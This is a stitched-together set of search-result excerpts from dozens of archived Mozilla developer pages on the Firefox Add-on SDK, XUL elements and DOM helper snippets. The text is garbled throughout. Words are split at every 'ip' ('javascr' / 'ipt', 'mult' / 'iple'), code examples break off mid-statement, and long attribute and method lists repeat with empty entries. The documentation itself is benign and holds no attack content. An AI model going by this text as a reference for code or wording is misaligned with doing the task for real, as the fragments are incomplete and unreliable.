iple namespaces can be used with one object: // ./widget.js let { cu } = require('chrome'); let { ns } = require('sdk/core/namespace'); let { view } = require('./view'); // note this is completely independent from view's internal namespace object.
... let sandboxes = ns(); function widget(options) { let { element, contentscr
ipt } = options; let widget = object.create(widget.prototype); view.call(widget, options.element); sandboxes(widget).sandbox = cu.sandbox(element.ownerdocument.defaultview); // ...
lang/type - Archive of obsolete content
source(value, indent, limit) returns the textual representation of value, containing property descr
iptors and types of properties contained within the object.
... let { source } = require('sdk/lang/type'); var obj = { name: undefined, twitter: '@horse_js', tweets: [ { id: 100, text: 'what happens to you if you break the monad laws?' }, { id: 101, text: 'javascr
ipt dubstep generator' } ] }; console.log(source(obj)); // prints the below /* { // [object object] // writable configurable enumerable name: undefined, // writable configurable enumerable twitter: "@horse_js", // writable configurable enumerable tweets: [ { // [object object] // writable configurable enumerable id: 100, // writable configurable enumerable text: "what happens to you if you break the monad laws?", "__proto__": { // [object object] } }, { // ...
...[object object] // writable configurable enumerable id: 101, // writable configurable enumerable text: "javascr
ipt dubstep generator", "__proto__": { // [object object] } } ], "__proto__": { // [object object] } } */ parameters value : mixed the source object to create a textual representation of.
places/history - Archive of obsolete content
tcount" } ).on("end", function (results) { // results is an array of objects containing // data about visits to any site on developers.mozilla.org // ordered by visit count }); // complex query // the query objects are or'd together // let's say we want to retrieve all visits from before a week ago // with the query of 'ruby', but from last week onwards, we want // all results with 'javascr
ipt' in the url or title.
... // we'd compose the query with the following options let lastweek = date.now - (1000*60*60*24*7); search( // first query looks for all entries before last week with 'ruby' [{ query: "ruby", to: lastweek }, // second query searches all entries after last week with 'javascr
ipt' { query: "javascr
ipt", from: lastweek }], // we want to order chronologically by visit date { sort: "date" } ).on("end", function (results) { // results is an array of objects containing visit data, // sorted by visit date, with all entries from more than a week ago // that contain 'ruby', *in addition to* entries from this last week // that contain 'javascr
ipt' }); globals functions search(queries, options) queries can be performed on history entries by passing in one or more query options.
...mult
iple query objects are then or'd together.
ui/button/action - Archive of obsolete content
} = require("sdk/ui/button/toggle"); var button = togglebutton({ id: "my-button1", label: "my button1", icon: "./icon-16.png", onchange: changed, badge: 0, badgecolor: "#00aaaa" }); function changed(state) { button.badge = state.badge + 1; if (state.checked) { button.badgecolor = "#aa00aa"; } else { button.badgecolor = "#00aaaa"; } } specifying mult
iple icons you can specify just one icon, or mult
iple icons in different sizes.
... if you specify mult
iple icons, firefox will select the best-fitting icon based on the device screen resolution and the place the icon appears.
...when the button is in the toolbar, this appears in a toolt
ip, and when the button is in the menu, it appears underneath the button as a legend.
ui/toolbar - Archive of obsolete content
a toolbar is a horizontal str
ip of user interface real estate.
... working with mult
iple browser windows there's only a single toolbar for all browser windows, so operations like show and hide work across all browser windows.
...if more than one frame is supplied here, the frames each occupy an equal vertical str
ip of the toolbar.
util/object - Archive of obsolete content
properties are merged with descr
iptors onto the source object.
... any argument given with "falsy" values (null, undefined) in case of objects are sk
ipped.
... let { merge } = require("sdk/util/object"); var a = { jetpacks: "are yes", foo: 10 } var b = merge(a, { foo: 5, bar: 6 }, { foo: 50, location: "sf" }); b === a // true b.jetpacks // "are yes" b.foo // 50 b.bar // 6 b.location // "sf" // merge also translates property descr
iptors var c = { "type": "addon" }; var d = {}; object.defineproperty(d, "name", { value: "jetpacks", configurable: false }); merge(c, d); var props = object.getownpropertydescr
iptor(c, "name"); console.log(props.configurable); // true parameters source : object the object that other properties are merged into.
cfx to jpm - Archive of obsolete content
installation cfx is python-based and is distributed as a z
ip file.
... to get new updates of cfx you download and extract a new z
ip file, while to get the new version of jpm, use npm update.
... permanently removed options jpm has dropped support for: --extra-packages --use-config --package-path --pkgdir --no-str
ip-xpi --harness-option --manifest-overload --output-file --templatedir --keydir --profiledir --overload-modules --static-args --app --no-run --addons --e10s --logfile --dependencies --force-mobile --test-runner-pkg instead of --profiledir and --overload-modules, use --profile and --overload.
Logging - Archive of obsolete content
the dom console object is useful for debugging javascr
ipt.
... console in content scr
ipts you can use the console in content scr
ipts as well as in your main add-on code.
... the following add-on logs the html content of every tab the user loads, by calling console.log() inside a content scr
ipt: require("sdk/tabs").on("ready", function(tab) { tab.attach({ contentscr
ipt: "console.log(document.body.innerhtml);" }); }); console output if you are running your add-on from the command line (for example, executing jpm run or jpm test) then the console's messages appear in the command shell you used.
Open a Web Page - Archive of obsolete content
to access tab content you need to attach a scr
ipt to the tab using tab.attach().
... this add-on loads a page, then attaches a scr
ipt to the page which adds a red border to it: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: runscr
ipt }); function runscr
ipt(tab) { tab.attach({ contentscr
ipt: "document.body.style.border = '5px solid red';" }); } learning more to learn more about working with tabs in the sdk, see the tabs api reference.
... to learn more about running scr
ipts in tabs, see the tutorial on using tab.attach().
Bookmarks - Archive of obsolete content
g/browser/bookmarks-service;1"] .getservice(components.interfaces.nsibookmarksservice); // create the bookmark bmsvc.createbookmarkincontainer(win.document.title, // bookmark name win.location.href.tostring(), // uri of the bookmark null, // shortcut win.document.title, // descr
iption win.document.characterset, // charset null, // postdata bookmarksservice.getbookmarkstoolbarfolder(), // bookmark folder 0); // index in the folder firefox 3 firefox 3 provides a reworked set of api for working with history and bookmarks.
... the places bookmarks service, provided by the nsinavbookmarksservice interface, provides methods for creating, deleting, and man
ipulating bookmarks and bookmark folders.
... man
ipulating existing items there are a number of convenient methods you can use to make changes to existing bookmarks and bookmark folders.
IsDefaultNamespace - Archive of obsolete content
the following is a sn
ippet to get isdefaultnamespace() supported across other browsers.
... if (node.attributes.length) { for (var i=0; i < node.attributes.length; i++) { var att = node.attributes[i]; if (att.localname === 'xmlns') { return att.value === namespaceuri; } } } if (node.parentnode) { // entityreferences may have to be sk
ipped to get to it return isdefaultnamespace(node.parentnode, namespaceuri); } else { return false; // unknown; } case 9: // document_node return isdefaultnamespace(node.documentelement, namespaceuri); case 6: // entity_node case 12: // notation_node case 10: // document_type_node ...
... document_fragment_node return false; // unknown case 2: // attribute_node: if (node.ownerelement ) { return isdefaultnamespace(node.ownerelement , namespaceuri); } else { return false; // unknown } default: if (node.parentnode) { // entityreferences may have to be sk
ipped to get to it return isdefaultnamespace(node.parentnode, namespaceuri); } else { return false; // unknown } } } ...
LookupPrefix - Archive of obsolete content
function lookupprefix (node, namespaceuri) { var htmlmode = document.contenttype; // mozilla only // depends on private function _lookupnamespaceprefix() below and on https://developer.mozilla.org/en/code_sn
ippets/lookupnamespaceuri // http://www.w3.org/tr/dom-level-3-core/core.html#node3-lookupnamespaceprefix // http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceprefixalgo // (the above had a few apparent 'bugs' in the pseudo-code which were corrected here) if (node.lookupprefix && htmlmode !== 'text/html') { // shouldn't use this in text/html for mozilla as will retur...
...6: // node.entity_node case 12: // node.notation_node case 11: // node.document_fragment_node case 10: // node.document_type_node return null; // type is unknown case 2: // node.attribute_node if (node.ownerelement) { return _lookupnamespaceprefix(namespaceuri, node.ownerelement); } return null; default: if (node.parentnode) { // entityreferences may have to be sk
ipped to get to it return _lookupnamespaceprefix(namespaceuri, node.parentnode); } return null; } } // private function for lookupprefix only function _lookupnamespaceprefix (namespaceuri, originalelement) { var xmlnspattern = /^xmlns:(.*)$/; if (originalelement.namespaceuri && originalelement.namespaceuri === namespaceuri && originalelement.prefix && originalelement.lookupnamespac...
...me if (localname.indexof(':') !== -1) { // for firefox when in html mode localname = localname.substr(att.name.indexof(':')+1); } if ( xmlnspattern.test(att.name) && att.value === namespaceuri && lookupnamespaceuri(originalelement, localname) === namespaceuri ) { return localname; } } } if (originalelement.parentnode) { // entityreferences may have to be sk
ipped to get to it return _lookupnamespaceprefix(namespaceuri, originalelement.parentnode); } return null; } ...
On page load - Archive of obsolete content
this article is for xul/javascr
ipt developers who want to have custom code executed each time a new page is loaded in browser/mail.
...verlay first, you need to create an overlay to one (or more, depending on which applications you target) of the following xul documents: application uri to overlay firefox chrome://browser/content/browser.xul thunderbird chrome://messenger/content/messenger.xul navigator from seamonkey chrome://navigator/content/navigator.xul attaching a scr
ipt attach a scr
ipt to your overlay (see "attaching a scr
ipt to an overlay") that adds a load event listener to appcontent element (browsers) or messagepane (mail): window.addeventlistener("load", function load(event){ window.removeeventlistener("load", load, false); //remove listener, no longer needed myextension.init(); },false); var myextension = { init: function() { var appconte...
... // if (win.frameelement) return; // sk
ip iframes/frames alert("page is loaded \n" +doc.location.href); } } window.addeventlistener("load", function load(event){ window.removeeventlistener("load", load, false); //remove listener, no longer needed myextension.init(); },false); references if you need to have a more complicated listener (not just onload), use progress listeners.
QuerySelector - Archive of obsolete content
y made supportable (an alternative approach to the following would be to add chromewindow.prototype or window.prototype, accessing this.document.queryselector, or following the jquery style of chaining by returning 'this' within each prototype method of $()): htmldocument.prototype.$ = function (selector) { // only for html return this.queryselector(selector); }; example: <h1>test!</h1> <scr
ipt> htmldocument.prototype.$ = function (selector) { return this.queryselector(selector); }; alert(document.$('h1')); // [object htmlheadingelement] </scr
ipt> xuldocument.prototype.$ = function (selector) { // only for xul return this.queryselector(selector); }; example: <label value="test!"/> <scr
ipt type="text/javascr
ipt"><![cdata[ xuldocument.prototype.$ = function (selector) { // onl...
...y for xul return this.queryselector(selector); }; alert(document.$('label')); // [object xulelement] ]]></scr
ipt> document.prototype.$ = function (selector) { // only for plain xml return this.queryselector(selector); }; var foo = document.implementation.createdocument('somens', 'foo', null); // create an xml document <foo xmlns="somens"/> var bar = foo.createelementns('somens', 'bar'); // add <bar xmlns="somens"/> foo.documentelement.appendchild(bar); alert(foo.$('bar').nodename); // gives 'bar' element.prototype.$ = function (selector) { // works for html, xul, and plain xml return this.queryselector(selector); }; html example: <h1><a>test!<a/></h1> <scr
ipt> element.prototype.$ = function (selector) { return this.queryselector(selector); }; alert(document.getelementsbyt...
...agname('h1')[0].$('a').nodename); // 'a' xul example: <hbox><vbox/></hbox> <scr
ipt type="text/javascr
ipt"><![cdata[ element.prototype.$ = function (selector) { return this.queryselector(selector); }; var xulns = 'http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul'; alert(document.getelementsbytagnamens(xulns, 'hbox')[0].$('vbox').nodename); // vbox ]]></scr
ipt> xml example: <foo xmlns="somens"><bar/></foo> in document earlier var foo = document.getelementsbytagnamens('somens', 'foo')[0]; alert(foo.$('bar')); note that for plain xml, the # 'id' selector will not work with an 'id' attribute (since a such-named attribute need not necessarily be of type id in xml, though it is in html and xul), nor will it work with xml:id.
Running applications - Archive of obsolete content
this page describes how to run other programs from your chrome javascr
ipt code, using mozilla xpcom interfaces.
... using ns
iprocess the recommended way is to use the ns
iprocess interface because it is crossplatform.
... var file = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile); file.initwithpath("c:\\myapp.exe"); file.launch(); references ns
iprocess nsilocalfile if you need to launch an executable bundled in your xpi, see code sn
ippets:file i/o#getting your extension's folder.
View Source for XUL Applications - Archive of obsolete content
importing gviewsourceutils xul applications wanting to show the source code for documents should import the viewsourceutils.js scr
ipt instead of attempting to open the viewsource.xul window themselves: <scr
ipt type="application/javascr
ipt" src="chrome://global/content/viewsourceutils.js"/> viewsourceutils.js exposes a gviewsourceutils global into the scope of the window that imports that scr
ipt.
... apagedescr
iptor (optional) a "descr
iptor" that allows the source to be retrieved from the network cache.
... this is usually gotten from the nsiwebpagedescr
iptor interface via currentdescr
iptor.
Trees and Templates - Archive of obsolete content
mult
iple rules can be used to indicate different content for different types of data.
...because we don't want mult
iple treechildren elements, we don't put it there.
...this sorting feature is not available for trees with static content, although you can write a scr
ipt to sort the data.
XBL Attribute Inheritance - Archive of obsolete content
in addition, changing the value of the attributes on the searchbox with a scr
ipt will update the textbox and button also.
...for example, to create a labeled textbox (a textbox with a text descr
iption beside it) out of a label and a textbox element, the label will need to inherit its text from the value attribute and the textbox will also need to inherit its default value from the value attribute as well.
...if you need to map an attribute to the text content of the node, use "xbl:text" as the inner attribute, eg: <xul:descr
iption xbl:inherits="xbl:text=value"/> in the next section, we look at adding properties, methods and events to a binding.
Using Visual Studio as your XUL IDE - Archive of obsolete content
visual assist and file extensions since version 10.5, visual assist supports javascr
ipt and xml.
...5.3 javascr
ipt related you will get validation errors for javascr
ipt code whenever using the keywords "const" and "let".
...vs just supports ecmascr
ipt 3rd edition and thus doesn't know these keywords.
XUL Coding Style Guidelines - Archive of obsolete content
it could contain xul specific element types for ui controls, html4 markups for content data, and even javascr
ipt for user event handling.
...javascr
ipt code shall be moved out of xul.
... making xul localizable -- mandatory in the past, ui (display) related resource descr
iptions are stored in *.rc (for windows client) or *.ad (for unix client) so that they can be localized for a specific language or culture.
action - Archive of obsolete content
if the same variable appears mult
iple times, it will have the same value in each place.
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , st...
...atustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlist...
binding - Archive of obsolete content
like the tr
iple element in syntax, it can be used to bind a particular property of a matched node to a particular variable name.
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties object type: string the object of the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), ...
broadcaster - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a broadcaster is used when you want mult
iple elements to share one or more attribute values, or when you want elements to respond to a state change.
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
button - Archive of obsolete content
if you wish to have different behavior for how the states are adjusted, set the autocheck attribute to false and adjust the state with a scr
ipt.
...an ell
ipsis will be used in place of the cropped text.
... none the text will be not be cropped using an ell
ipsis.
checkbox - Archive of obsolete content
attributes accesskey, checked, command, crop, disabled, src, label, preference, tabindex properties accesskey, accessibletype, checked, command, crop, disabled, src, label, tabindex examples <checkbox label="enable javascr
ipt" checked="true"/> <checkbox label="enable java" checked="false"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
...an ell
ipsis will be used in place of the cropped text.
... none the text will be not be cropped using an ell
ipsis.
commandset - Archive of obsolete content
cl
ipboard: occurs when the cl
ipboard is changed.
... oncommandupdate type: scr
ipt code this event occurs when a command update occurs.
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
conditions - Archive of obsolete content
within the conditions can be placed content, member and tr
iple elements.
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
deck - Archive of obsolete content
attributes selectedindex properties selectedindex, selectedpanel examples <deck selectedindex="2"> <descr
iption value="this is the first page"/> <button label="this is the second page"/> <box> <descr
iption value="this is the third page"/> <button label="this is also the third page"/> </box> </deck> attributes selectedindex type: integer gets and sets the index of the currently selected panel.
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties selectedindex type: integer returns the index of the currently selected item.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
editor - Archive of obsolete content
attributes editortype, src, type properties accessibletype, commandmanager, contentdocument, contentwindow, docshell, editingsession, editortype, webbrowserfind, webnavigation methods geteditor, gethtmleditor, makeeditable examples this example shows how to made the editor editable by setting the designmode property of the loaded html document: <scr
ipt language="javascr
ipt"> function initeditor(){ // this function is called to set up the editor var editor = document.getelementbyid("myeditor"); editor.contentdocument.designmode = 'on'; } </scr
ipt> <editor id="myeditor" editortype="html" src="about:blank" flex="1" type="content-primary"/> once editable, the document can have special formatting and other html pieces added to it using the ...
... methods geteditor( window ) return type: nsieditor returns the editing interface for the editor which contains numerous methods for man
ipulating the document.
... gethtmleditor( window ) return type: nsihtmleditor returns the html editing interface for the editor which contains methods for man
ipulating an html document.
image - Archive of obsolete content
attributes onerror, onload, src, validate properties accessibletype, src style classes alert-icon, error-icon, message-icon, question-icon examples <image src='firefoxlogo.png' width='135' height='130'/> attributes onerror type: scr
ipt code this event is sent to an image element when an error occurs loading the image.
... image.onload type: scr
ipt code this event handler will be called on the image element when the image has finished loading.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
key - Archive of obsolete content
mult
iple keys may be separated by spaces or commas.
... oncommand type: scr
ipt code this event handler is called when the command is activated.
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
listitem - Archive of obsolete content
an ell
ipsis will be used in place of the cropped text.
... none the text will be not be cropped using an ell
ipsis.
...it is not used for any specific purpose, but you can access it with a scr
ipt for your own use.
menu - Archive of obsolete content
an ell
ipsis will be used in place of the cropped text.
... none the text will be not be cropped using an ell
ipsis.
...it is not used for any specific purpose, but you can access it with a scr
ipt for your own use.
menuseparator - Archive of obsolete content
an ell
ipsis will be used in place of the cropped text.
... none the text will be not be cropped using an ell
ipsis.
...it is not used for any specific purpose, but you can access it with a scr
ipt for your own use.
popupset - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a container for menupopup, panel and toolt
ip elements.
... examples <popupset> <menupopup id="cl
ipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> <label value="right click for popup" context="cl
ipmenu"/> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, re...
...moveelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(...
query - Archive of obsolete content
for rdf datasources, the query should contain one content element as well as member and/or tr
iple elements.
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
queryset - Archive of obsolete content
for more information, see mult
iple queries.
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
radio - Archive of obsolete content
an ell
ipsis will be used in place of the cropped text.
... none the text will be not be cropped using an ell
ipsis.
...it is not used for any specific purpose, but you can access it with a scr
ipt for your own use.
scrollbox - Archive of obsolete content
if their container doesn't give enough room to hold them (geometrically) what happens depends on the enclosing elements; often the content is just cl
ipped off on the bottom or right (depending on what's too big to fit).
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
<statusbarpanel> - Archive of obsolete content
an ell
ipsis will be used in place of the cropped text.
... none the text will be not be cropped using an ell
ipsis.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
